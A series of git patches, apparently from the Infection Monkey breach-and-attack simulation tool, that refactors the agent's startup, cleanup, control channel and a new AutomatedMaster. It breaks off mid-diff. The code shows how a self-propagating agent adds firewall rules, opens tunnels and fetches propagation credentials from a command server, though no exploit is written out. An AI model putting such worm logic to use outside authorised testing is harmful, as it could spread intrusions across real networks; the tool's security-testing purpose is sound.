infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter im from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.utils.environment import is_windows_os +from infection_monkey.utils.exceptions.planned_shutdown_error import PlannedShutdownError from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.utils.signal_handler import register_signal_handlers diff --git a/monkey/infection_monkey/utils/exceptions/planned_shutdown_error.py b/monkey/infection_monkey/utils/exceptions/planned_shutdown_error.py new file mode 100644 index 000000000..885340c23 --- /dev/null +++ b/monkey/infection_monkey/utils/exceptions/planned_shutdown_error.py @@ -0,0 +1,2 @@ +class PlannedShutdownError(Exception): + pass diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py index 87d965398..6fda3bc12 100644 --- a/monkey/infection_monkey/utils/signal_handler.py +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -3,7 +3,7 @@ import signal from infection_monkey.i_master import IMaster from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException +from infection_monkey.utils.exceptions.planned_shutdown_error import PlannedShutdownError logger = logging.getLogger(__name__) @@ -16,7 +16,7 @@ class StopSignalHandler: self._handle_signal(signum) # Windows signal handlers must return boolean. Only raising this exception for POSIX # signals. - raise PlannedShutdownException("Monkey Agent got an interrupt signal") + raise PlannedShutdownError("Monkey Agent got an interrupt signal") def handle_windows_signals(self, signum): import win32con From 793bb33c8cd780ed39c38d05ad8d6a68be41d794 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Dec 2021 17:04:45 +0200 Subject: [PATCH 0047/1110] Agent: use the refactored startup instead of legacy methods (monkey.start() instead of monkey.legacy_start(), etc.) --- monkey/infection_monkey/main.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index fac31bf78..d6edfaec2 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -120,14 +120,12 @@ def main(): monkey = monkey_cls(monkey_args) try: - monkey.legacy_start() - # monkey.start() + monkey.start() return True except Exception as e: logger.exception("Exception thrown from monkey's start function. More info: {}".format(e)) finally: - monkey.legacy_cleanup() - # monkey.cleanup() + monkey.cleanup() if "__main__" == __name__: From 81e61dcea52e27342117643a39dd2372ea12125e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Dec 2021 17:08:32 +0200 Subject: [PATCH 0048/1110] Agent: improve the readability of InfectionMonkey constructor by decoupling cmd argument parsing from object parameter setting --- monkey/infection_monkey/monkey.py | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 294381696..e6733b4a5 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -42,8 +42,7 @@ class InfectionMonkey: logger.info("Monkey is initializing...") self._master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) self._singleton = SystemSingleton() - self._opts = None - self._set_arguments(args) + self._opts = self._get_arguments(args) self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server @@ -52,18 +51,21 @@ class InfectionMonkey: self._add_default_server_to_config() self._monkey_tunnel = None - def _set_arguments(self, args): + @staticmethod + def _get_arguments(args): arg_parser = argparse.ArgumentParser() arg_parser.add_argument("-p", "--parent") arg_parser.add_argument("-t", "--tunnel") arg_parser.add_argument("-s", "--server") arg_parser.add_argument("-d", "--depth", type=int) arg_parser.add_argument("-vp", "--vulnerable-port") - self._opts, _ = arg_parser.parse_known_args(args) - self._log_arguments() + opts, _ = arg_parser.parse_known_args(args) + InfectionMonkey._log_arguments(opts) + return opts - def _log_arguments(self): - arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()]) + @staticmethod + def _log_arguments(args): + arg_string = " ".join([f"{key}: {value}" for key, value in vars(args).items()]) logger.info(f"Monkey started with arguments: {arg_string}") def _set_propagation_depth(self): From ad6b3095237fca8427638a24b23958102fa4ad42 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Dec 2021 18:13:27 +0200 Subject: [PATCH 0049/1110] Agent: readability and style changes in monkey.py: refactored back from raising exceptions to logging and returning, not storing part of island config options as separate parameters, etc. --- monkey/infection_monkey/monkey.py | 57 +++++++++++++++---------------- 1 file changed, 28 insertions(+), 29 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e6733b4a5..a3a0a4f28 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -23,7 +23,6 @@ from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter im from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.exceptions.planned_shutdown_error import PlannedShutdownError from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.utils.signal_handler import register_signal_handlers @@ -32,24 +31,18 @@ from infection_monkey.windows_upgrader import WindowsUpgrader logger = logging.getLogger(__name__) -class PlannedShutdownError(Exception): - # Raise when we deliberately want to shut down the agent - pass - - class InfectionMonkey: def __init__(self, args): logger.info("Monkey is initializing...") self._master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) self._singleton = SystemSingleton() self._opts = self._get_arguments(args) - self._parent = self._opts.parent - self._default_tunnel = self._opts.tunnel - self._default_server = self._opts.server + # TODO Used in propagation phase to set the default server for the victim self._default_server_port = None self._set_propagation_depth() self._add_default_server_to_config() - self._monkey_tunnel = None + # TODO used in propogation phase + self._monkey_inbound_tunnel = None @staticmethod def _get_arguments(args): @@ -87,7 +80,8 @@ class InfectionMonkey: def start(self): if self._is_another_monkey_running(): - raise PlannedShutdownError("Another instance of the monkey is already running.") + logger.info("Another instance of the monkey is already running") + return logger.info("Monkey is starting...") @@ -98,11 +92,13 @@ class InfectionMonkey: T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() if InfectionMonkey._is_monkey_alive_by_config(): - raise PlannedShutdownError("Monkey marked 'not alive' from configuration.") + logger.info("Monkey marked 'not alive' from configuration.") + return if InfectionMonkey._is_upgrade_to_64_needed(): self._upgrade_to_64() - raise PlannedShutdownError("32 bit Agent can't run on 64 bit system.") + logger.info("32 bit Agent can't run on 64 bit system.") + return self._setup() self._master.start() @@ -111,11 +107,13 @@ class InfectionMonkey: # Sets island's IP and port for monkey to communicate to if not self._is_default_server_set(): raise Exception( - "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel) + "Monkey couldn't find server with {} default tunnel.".format( + self._opts._default_tunnel + ) ) self._set_default_port() - ControlClient.wakeup(parent=self._parent) + ControlClient.wakeup(parent=self._opts._parent) ControlClient.load_control_config() def _is_default_server_set(self) -> bool: @@ -123,7 +121,7 @@ class InfectionMonkey: Sets the default server for the Monkey to communicate back to. :return """ - if not ControlClient.find_server(default_tunnel=self._default_tunnel): + if not ControlClient.find_server(default_tunnel=self._opts._default_tunnel): return False self._default_server = WormConfiguration.current_server logger.debug("default server set to: %s" % self._default_server) @@ -146,21 +144,26 @@ class InfectionMonkey: def _setup(self): logger.debug("Starting the setup phase.") - self._should_run_check_for_performance() + if self._should_exit_for_performance(): + logger.info( + "Monkey shouldn't run on current machine to improve perfomance" + "(it will be exploited later with more depth)." + ) + return if firewall.is_enabled(): firewall.add_firewall_rule() - self._monkey_tunnel = ControlClient.create_control_tunnel() - if self._monkey_tunnel: - self._monkey_tunnel.start() + self._monkey_inbound_tunnel = ControlClient.create_control_tunnel() + if self._monkey_inbound_tunnel: + self._monkey_inbound_tunnel.start() StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() register_signal_handlers(self._master) - def _should_run_check_for_performance(self): + def _should_exit_for_performance(self): """ This method implements propagation performance enhancing algorithm that kicks in if the run was started from the Island. @@ -170,11 +173,7 @@ class InfectionMonkey: WormConfiguration.started_on_island = True ControlClient.report_start_on_island() - if not ControlClient.should_monkey_run(self._opts.vulnerable_port): - raise PlannedShutdownError( - "Monkey shouldn't run on current machine to improve perfomance" - "(it will be exploited later with more depth)." - ) + return not ControlClient.should_monkey_run(self._opts.vulnerable_port) def _is_another_monkey_running(self): return not self._singleton.try_lock() @@ -195,9 +194,9 @@ class InfectionMonkey: if self._master: self._master.cleanup() - if self._monkey_tunnel: - self._monkey_tunnel.stop() - self._monkey_tunnel.join() + if self._monkey_inbound_tunnel: + self._monkey_inbound_tunnel.stop() + self._monkey_inbound_tunnel.join() if firewall.is_enabled(): firewall.remove_firewall_rule() From 48782e79d458121f2439fb9d28ae05a9ec68775e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Dec 2021 11:23:45 -0500 Subject: [PATCH 0050/1110] =?UTF-8?q?Swimm:=20update=20exercise=20Add=20a?= =?UTF-8?q?=20new=20configuration=20setting=20to=20the=20Agent=20=E2=9A=99?= =?UTF-8?q?=20AzD8XysWg1BBXCjCDkfq?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .swm/AzD8XysWg1BBXCjCDkfq.swm | 19 ------------------- 1 file changed, 19 deletions(-) diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm index 708d8e8c5..3339f5178 100644 --- a/.swm/AzD8XysWg1BBXCjCDkfq.swm +++ b/.swm/AzD8XysWg1BBXCjCDkfq.swm @@ -29,24 +29,6 @@ " victims_max_exploit = 100" ] }, - { - "type": "snippet", - "path": "monkey/infection_monkey/monkey.py", - "comments": [], - "firstLineNumber": 220, - "lines": [ - " if not WormConfiguration.alive:", - " logger.info(\"Marked not alive from configuration\")", - " ", - "* machines = self._network.get_victim_machines(", - "* max_find=WormConfiguration.victims_max_find,", - "* stop_callback=ControlClient.check_for_stop,", - "* )", - " for machine in machines:", - " if ControlClient.check_for_stop():", - " break" - ] - }, { "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/internal.py", @@ -79,7 +61,6 @@ "app_version": "0.6.6-2", "file_blobs": { "monkey/infection_monkey/config.py": "8f4984ba6563564343282765ab498efca5d89ba8", - "monkey/infection_monkey/monkey.py": "4160a36e0e624404d77526472d51dd07bba49e5a", "monkey/monkey_island/cc/services/config_schema/internal.py": "86318eaf19b9991a8af5de861a3eb085238e17a4" } } From 13e16b9dead5f4a2c04bc6001c5ec6fad53e3fd4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Dec 2021 11:24:54 -0500 Subject: [PATCH 0051/1110] Agent: Revert "legacy" in dropper start() and cleanup() functions --- monkey/infection_monkey/dropper.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 30be3798e..e2f59e601 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -57,7 +57,7 @@ class MonkeyDrops(object): logger.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) - def legacy_start(self): + def start(self): if self._config["destination_path"] is None: logger.error("No destination path specified") return False @@ -182,7 +182,7 @@ class MonkeyDrops(object): if monkey_process.poll() is not None: logger.warning("Seems like monkey died too soon") - def legacy_cleanup(self): + def cleanup(self): logger.info("Cleaning up the dropper") try: From 1944040328604d780d2db2c40f17be16f7664b85 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Dec 2021 12:11:47 -0500 Subject: [PATCH 0052/1110] Agent: Remove unnecessary control_channel_server() from IControlChannel --- monkey/infection_monkey/i_control_channel.py | 7 ------- monkey/infection_monkey/master/control_channel.py | 11 ++++++----- 2 files changed, 6 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/i_control_channel.py b/monkey/infection_monkey/i_control_channel.py index 6f287671d..eb1a4d5b2 100644 --- a/monkey/infection_monkey/i_control_channel.py +++ b/monkey/infection_monkey/i_control_channel.py @@ -2,13 +2,6 @@ import abc class IControlChannel(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def control_channel_server(self): - """ - :return: Worm configuration server - """ - @abc.abstractmethod def should_agent_stop(self) -> bool: """ diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 90076cbdb..e56052539 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -14,15 +14,16 @@ logger = logging.getLogger(__name__) class ControlChannel(IControlChannel): - control_channel_server = WormConfiguration.current_server + def __init__(self, server: str): + self._control_channel_server = server def should_agent_stop(self) -> bool: - if not self.control_channel_server: + if not self._control_channel_server: return try: response = requests.get( # noqa: DUO123 - f"{self.control_channel_server}/api/monkey_control/{GUID}", + f"{self._control_channel_server}/api/monkey_control/{GUID}", verify=False, timeout=SHORT_REQUEST_TIMEOUT, ) @@ -37,12 +38,12 @@ class ControlChannel(IControlChannel): return WormConfiguration.as_dict() def get_credentials_for_propagation(self) -> dict: - if not self.control_channel_server: + if not self._control_channel_server: return try: response = requests.get( # noqa: DUO123 - f"{self.control_channel_server}/api/propagationCredentials", + f"{self._control_channel_server}/api/propagationCredentials", verify=False, timeout=SHORT_REQUEST_TIMEOUT, ) From f074b3e3880d303f555ea6b511c294aeac0029ab Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Dec 2021 12:18:32 -0500 Subject: [PATCH 0053/1110] Agent: Pass agent_id to ControlChannel constructor --- monkey/infection_monkey/master/control_channel.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index e56052539..9e8046baf 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -4,7 +4,7 @@ import logging import requests from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT -from infection_monkey.config import GUID, WormConfiguration +from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from monkey.infection_monkey.i_control_channel import IControlChannel @@ -14,7 +14,8 @@ logger = logging.getLogger(__name__) class ControlChannel(IControlChannel): - def __init__(self, server: str): + def __init__(self, server: str, agent_id: str): + self._agent_id = agent_id self._control_channel_server = server def should_agent_stop(self) -> bool: @@ -23,7 +24,7 @@ class ControlChannel(IControlChannel): try: response = requests.get( # noqa: DUO123 - f"{self._control_channel_server}/api/monkey_control/{GUID}", + f"{self._control_channel_server}/api/monkey_control/{self._agent_id}", verify=False, timeout=SHORT_REQUEST_TIMEOUT, ) From 1e9c9ab823aa50e8bc009c18cf1756c5024547a5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 2 Dec 2021 10:55:46 +0200 Subject: [PATCH 0054/1110] Agent: move _set_propagation_depth and _add_default_server_to_config from constructor to start Moved because these methods don't initialize the parameters, they change the global WormConfiguration object which is logic/behavior --- monkey/infection_monkey/monkey.py | 52 ++++++++++++++++--------------- 1 file changed, 27 insertions(+), 25 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index a3a0a4f28..771ed00b5 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -39,8 +39,6 @@ class InfectionMonkey: self._opts = self._get_arguments(args) # TODO Used in propagation phase to set the default server for the victim self._default_server_port = None - self._set_propagation_depth() - self._add_default_server_to_config() # TODO used in propogation phase self._monkey_inbound_tunnel = None @@ -61,23 +59,6 @@ class InfectionMonkey: arg_string = " ".join([f"{key}: {value}" for key, value in vars(args).items()]) logger.info(f"Monkey started with arguments: {arg_string}") - def _set_propagation_depth(self): - if self._opts.depth is not None: - WormConfiguration._depth_from_commandline = True - WormConfiguration.depth = self._opts.depth - logger.debug("Setting propagation depth from command line") - logger.debug(f"Set propagation depth to {WormConfiguration.depth}") - - def _add_default_server_to_config(self): - if self._default_server: - if self._default_server not in WormConfiguration.command_servers: - logger.debug("Added default server: %s" % self._default_server) - WormConfiguration.command_servers.insert(0, self._default_server) - else: - logger.debug( - "Default server: %s is already in command servers list" % self._default_server - ) - def start(self): if self._is_another_monkey_running(): logger.info("Another instance of the monkey is already running") @@ -85,6 +66,8 @@ class InfectionMonkey: logger.info("Monkey is starting...") + self._set_propagation_depth(self._opts) + self._add_default_server_to_config(self._opts.server) self._connect_to_island() # TODO: Reevaluate who is responsible to send this information @@ -103,17 +86,36 @@ class InfectionMonkey: self._setup() self._master.start() + @staticmethod + def _set_propagation_depth(options): + if options.depth is not None: + WormConfiguration._depth_from_commandline = True + WormConfiguration.depth = options.depth + logger.debug("Setting propagation depth from command line") + logger.debug(f"Set propagation depth to {WormConfiguration.depth}") + + @staticmethod + def _add_default_server_to_config(default_server: str): + if default_server: + if default_server not in WormConfiguration.command_servers: + logger.debug("Added default server: %s" % default_server) + WormConfiguration.command_servers.insert(0, default_server) + else: + logger.debug( + "Default server: %s is already in command servers list" % default_server + ) + def _connect_to_island(self): # Sets island's IP and port for monkey to communicate to if not self._is_default_server_set(): raise Exception( "Monkey couldn't find server with {} default tunnel.".format( - self._opts._default_tunnel + self._opts.tunnel ) ) self._set_default_port() - ControlClient.wakeup(parent=self._opts._parent) + ControlClient.wakeup(parent=self._opts.parent) ControlClient.load_control_config() def _is_default_server_set(self) -> bool: @@ -121,10 +123,10 @@ class InfectionMonkey: Sets the default server for the Monkey to communicate back to. :return """ - if not ControlClient.find_server(default_tunnel=self._opts._default_tunnel): + if not ControlClient.find_server(default_tunnel=self._opts.tunnel): return False - self._default_server = WormConfiguration.current_server - logger.debug("default server set to: %s" % self._default_server) + self._opts.server = WormConfiguration.current_server + logger.debug("default server set to: %s" % self._opts.server) return True @staticmethod @@ -180,7 +182,7 @@ class InfectionMonkey: def _set_default_port(self): try: - self._default_server_port = self._default_server.split(":")[1] + self._default_server_port = self._opts.server.split(":")[1] except KeyError: self._default_server_port = "" From e4bdc964103de75d04a23fcd65014556da90fafa Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 2 Dec 2021 11:51:14 +0200 Subject: [PATCH 0055/1110] Agent: move _set_propagation_depth and _add_default_server_to_config from constructor to start Moved because these methods don't initialize the parameters, they change the global WormConfiguration object which is logic/behavior --- monkey/infection_monkey/monkey.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 771ed00b5..cc3c5156e 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -109,9 +109,7 @@ class InfectionMonkey: # Sets island's IP and port for monkey to communicate to if not self._is_default_server_set(): raise Exception( - "Monkey couldn't find server with {} default tunnel.".format( - self._opts.tunnel - ) + "Monkey couldn't find server with {} default tunnel.".format(self._opts.tunnel) ) self._set_default_port() @@ -190,7 +188,7 @@ class InfectionMonkey: logger.info("Monkey cleanup started") try: if self._is_upgrade_to_64_needed(): - logger.debug("Detected upgrade to 64bit") + logger.debug("Cleanup not needed for 32 bit agent on 64 bit system(it didn't run)") return if self._master: From ce7362e27881a0c3043c34c02ea909d1d39cea7f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 2 Dec 2021 14:26:10 +0200 Subject: [PATCH 0056/1110] Agent: add a waiting timer to allow exploited machines to connect to the tunnel (in agent cleanup) --- monkey/infection_monkey/monkey.py | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index cc3c5156e..4eb959129 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -3,6 +3,7 @@ import logging import os import subprocess import sys +import time import infection_monkey.tunnel as tunnel from common.utils.attack_utils import ScanStatus, UsageEnum @@ -186,6 +187,7 @@ class InfectionMonkey: def cleanup(self): logger.info("Monkey cleanup started") + self._wait_for_exploited_machine_connection() try: if self._is_upgrade_to_64_needed(): logger.debug("Cleanup not needed for 32 bit agent on 64 bit system(it didn't run)") @@ -220,6 +222,19 @@ class InfectionMonkey: logger.info("Monkey is shutting down") + def _wait_for_exploited_machine_connection(self): + # TODO check for actual exploitation + machines_exploited = False + # if host was exploited, before continue to closing the tunnel ensure the exploited + # host had its chance to + # connect to the tunnel + if machines_exploited: + time_to_sleep = WormConfiguration.keep_tunnel_open_time + logger.info( + "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep + ) + time.sleep(time_to_sleep) + @staticmethod def _close_tunnel(): tunnel_address = ( From 0456d695c4b8293adf6030da2342f1c5c788ffc6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Dec 2021 13:36:59 -0500 Subject: [PATCH 0057/1110] Agent: Add an AutomatedMaster that implements start() and terminate() --- .../master/automated_master.py | 71 +++++++++++++++++++ .../master/test_automated_master.py | 7 ++ 2 files changed, 78 insertions(+) create mode 100644 monkey/infection_monkey/master/automated_master.py create mode 100644 monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py new file mode 100644 index 000000000..7e775d484 --- /dev/null +++ b/monkey/infection_monkey/master/automated_master.py @@ -0,0 +1,71 @@ +import logging +import threading +import time + +from infection_monkey.i_control_channel import IControlChannel +from infection_monkey.i_master import IMaster +from infection_monkey.i_puppet import IPuppet +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +CHECK_FOR_STOP_INTERVAL_SEC = 5 +SHUTDOWN_TIMEOUT = 2 + +logger = logging.getLogger() + + +class AutomatedMaster(IMaster): + def __init__( + self, + puppet: IPuppet, + telemetry_messenger: ITelemetryMessenger, + control_channel: IControlChannel, + ): + self._puppet = puppet + self._telemetry_messenger = telemetry_messenger + self._control_channel = control_channel + + self._stop = threading.Event() + self._master_thread = threading.Thread(target=self._run_master_thread, daemon=True) + + def start(self): + logger.info("Starting automated breach and attack simulation") + self._master_thread.start() + self._master_thread.join() + logger.info("The simulation has been shutdown.") + + def _check_for_stop(self): + pass + + def terminate(self): + logger.info("Stopping automated breach and attack simulation") + self._stop.set() + + if self._master_thread.is_alive(): + self._master_thread.join() + + def _run_master_thread(self): + _simulation_thread = threading.Thread(target=self._run_simulation, daemon=True) + _simulation_thread.start() + + while (not self._stop.is_set()) and _simulation_thread.is_alive(): + time.sleep(CHECK_FOR_STOP_INTERVAL_SEC) + self._check_for_stop() + + logger.debug("Waiting for the simulation thread to stop") + _simulation_thread.join(SHUTDOWN_TIMEOUT) + + if _simulation_thread.is_alive(): + logger.warn("Timed out waiting for the simulation to stop") + # Since the master thread is a Daemon thread, it will be forcefully + # killed when the program exits. + logger.warn("Forcefully killing the simulation") + + def _run_simulation(self): + while True: + time.sleep(30) + logger.debug("Simulation thread is finished sleeping") + if self._stop.is_set(): + break + + def cleanup(self): + pass diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py new file mode 100644 index 000000000..2ae9ae5d4 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -0,0 +1,7 @@ +from infection_monkey.master.automated_master import AutomatedMaster + +def test_terminate_without_start(): + m = AutomatedMaster(None, None, None) + + # Test that call to terminate does not raise exception + m.terminate() From a2bba6a0252c5d9196525c6b2d5502ba5fbdd430 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Dec 2021 13:47:17 -0500 Subject: [PATCH 0058/1110] Agent: Implement _check_for_stop() in AutomatedMaster --- monkey/infection_monkey/master/automated_master.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 7e775d484..97036cd6b 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -34,7 +34,9 @@ class AutomatedMaster(IMaster): logger.info("The simulation has been shutdown.") def _check_for_stop(self): - pass + if self._control_channel.should_agent_stop(): + logger.debug('Received the "stop" signal from the Island') + self._stop.set() def terminate(self): logger.info("Stopping automated breach and attack simulation") From 9809fc2a41c68b14fc565da668e6faa06bd7f93d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Dec 2021 17:07:36 -0500 Subject: [PATCH 0059/1110] Agent: Implement _run_simulation() that calls stubbed methods --- .../master/automated_master.py | 51 ++++++++++++++++++- 1 file changed, 49 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 97036cd6b..496f23bdb 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -1,6 +1,7 @@ import logging import threading import time +from typing import Dict, List from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_master import IMaster @@ -8,7 +9,7 @@ from infection_monkey.i_puppet import IPuppet from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger CHECK_FOR_STOP_INTERVAL_SEC = 5 -SHUTDOWN_TIMEOUT = 2 +SHUTDOWN_TIMEOUT = 5 logger = logging.getLogger() @@ -63,11 +64,57 @@ class AutomatedMaster(IMaster): logger.warn("Forcefully killing the simulation") def _run_simulation(self): + config = self._control_channel.get_config() + + system_info_collector_thread = threading.Thread( + target=self._collect_system_info, + args=(config["system_info_collector_classes"],), + daemon=True, + ) + pba_thread = threading.Thread( + target=self._run_pbas, args=(config["post_breach_actions"],), daemon=True + ) + + system_info_collector_thread.start() + pba_thread.start() + + # Future stages of the simulation require the output of the system info collectors. Nothing + # requires the output of PBAs, so we don't need to join on that thread. + system_info_collector_thread.join() + + if self._can_propagate(): + propagation_thread = threading.Thread( + target=self._propagate, args=(config,), daemon=True + ) + propagation_thread.start() + propagation_thread.join() + + payload_thread = threading.Thread( + target=self._run_payloads, args=(config["payloads"],), daemon=True + ) + payload_thread.start() + payload_thread.join() + while True: - time.sleep(30) + time.sleep(2) logger.debug("Simulation thread is finished sleeping") if self._stop.is_set(): break + def _collect_system_info(self, enabled_collectors: List[str]): + pass + + def _run_pbas(self, enabled_pbas: List[str]): + pass + + def _can_propagate(self): + return True + + def _propagate(self, config: Dict): + pass + + def _run_payloads(self, enabled_payloads: Dict[str, Dict]): + pass + def cleanup(self): pass From 73bf93050fbd0492cb4781728c46e1dd69916088 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Dec 2021 08:53:41 -0500 Subject: [PATCH 0060/1110] Agent: Implement _collect_system_info in AutomatedMaster --- .../master/automated_master.py | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 496f23bdb..1c4c597bf 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -7,6 +7,7 @@ from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.telemetry.system_info_telem import SystemInfoTelem CHECK_FOR_STOP_INTERVAL_SEC = 5 SHUTDOWN_TIMEOUT = 5 @@ -102,7 +103,22 @@ class AutomatedMaster(IMaster): break def _collect_system_info(self, enabled_collectors: List[str]): - pass + logger.info("Running system info collectors") + + for collector in enabled_collectors: + if self._stop.is_set(): + logger.debug("Received a stop signal, skipping remaining system info collectors") + break + + logger.info(f"Running system info collector: {collector}") + + system_info_telemetry = {} + system_info_telemetry[collector] = self._puppet.run_sys_info_collector(collector) + self._telemetry_messenger.send_telemetry( + SystemInfoTelem({"collectors": system_info_telemetry}) + ) + + logger.info("Finished running system info collectors") def _run_pbas(self, enabled_pbas: List[str]): pass From 9279d82adf6b4091a94db413ea491d386826d4cd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Dec 2021 10:45:58 -0500 Subject: [PATCH 0061/1110] Agent: Add a Timer class --- monkey/infection_monkey/exploit/sshexec.py | 1 + .../batching_telemetry_messenger.py | 3 +- monkey/infection_monkey/tunnel.py | 1 + monkey/infection_monkey/utils/timer.py | 34 +++++++++ .../infection_monkey/utils/test_timer.py | 69 +++++++++++++++++++ 5 files changed, 106 insertions(+), 2 deletions(-) create mode 100644 monkey/infection_monkey/utils/timer.py create mode 100644 monkey/tests/unit_tests/infection_monkey/utils/test_timer.py diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index fb5a5f38e..be59b0ca6 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -32,6 +32,7 @@ class SSHExploiter(HostExploiter): self.skip_exist = self._config.skip_exploit_if_file_exist def log_transfer(self, transferred, total): + # TODO: Replace with infection_monkey.utils.timer.Timer if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE: logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) self._update_timestamp = time.time() diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py index 123903fb0..4d34012d8 100644 --- a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py +++ 